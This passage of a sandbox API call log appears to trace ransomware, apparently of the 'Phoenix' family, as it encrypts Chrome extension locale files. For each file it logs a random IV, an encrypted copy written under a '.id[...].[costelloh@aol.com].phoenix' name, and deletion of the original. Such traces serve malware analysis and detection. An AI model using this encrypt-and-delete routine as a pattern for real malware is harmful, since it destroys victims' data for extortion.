	[0261.544] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json")) returned 1
	[0261.545] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.545] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.557] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=286) returned 1
	[0261.557] CloseHandle (hObject=0x240) returned 1
	[0261.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json")) returned 0x20
	[0261.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.557] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.557] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.558] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0261.558] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.558] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x11e, lpOverlapped=0x0) returned 1
	[0261.559] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120, dwBufLen=0x120 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120) returned 1
	[0261.559] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x120, lpOverlapped=0x0) returned 1
	[0261.560] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0261.560] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.560] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.561] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.561] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.575] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.575] CloseHandle (hObject=0x240) returned 1
	[0261.575] CloseHandle (hObject=0x250) returned 1
	[0261.575] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json")) returned 1
	[0261.576] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.577] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=200) returned 1
	[0261.577] CloseHandle (hObject=0x250) returned 1
	[0261.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json")) returned 0x20
	[0261.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.577] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.577] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.578] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0261.578] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.578] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc8, lpOverlapped=0x0) returned 1
	[0261.579] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0261.579] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0261.580] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0261.580] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.580] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.580] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.580] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.580] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.580] CloseHandle (hObject=0x250) returned 1
	[0261.580] CloseHandle (hObject=0x240) returned 1
	[0261.580] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hr\\messages.json")) returned 1
	[0261.582] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.582] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=198) returned 1
	[0261.582] CloseHandle (hObject=0x240) returned 1
	[0261.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json")) returned 0x20
	[0261.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.582] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.583] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.583] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.583] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0261.583] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.583] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc6, lpOverlapped=0x0) returned 1
	[0261.584] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0261.584] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0261.585] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0261.585] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.585] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.585] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.585] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.585] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.585] CloseHandle (hObject=0x240) returned 1
	[0261.585] CloseHandle (hObject=0x250) returned 1
	[0261.585] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json")) returned 1
	[0261.586] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.586] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.587] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=665) returned 1
	[0261.587] CloseHandle (hObject=0x250) returned 1
	[0261.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json")) returned 0x20
	[0261.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.587] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.587] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.588] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0261.588] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.588] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x299, lpOverlapped=0x0) returned 1
	[0261.654] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0) returned 1
	[0261.654] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2a0, lpOverlapped=0x0) returned 1
	[0261.655] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0261.655] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.655] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.655] CryptDestroyKey (hKey=0x151640) returned 1
	[0261.655] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.655] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.655] CloseHandle (hObject=0x250) returned 1
	[0261.655] CloseHandle (hObject=0x240) returned 1
	[0261.655] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json")) returned 1
	[0261.656] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.656] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.657] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=357) returned 1
	[0261.657] CloseHandle (hObject=0x240) returned 1
	[0261.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json")) returned 0x20
	[0261.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.657] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.658] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.658] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
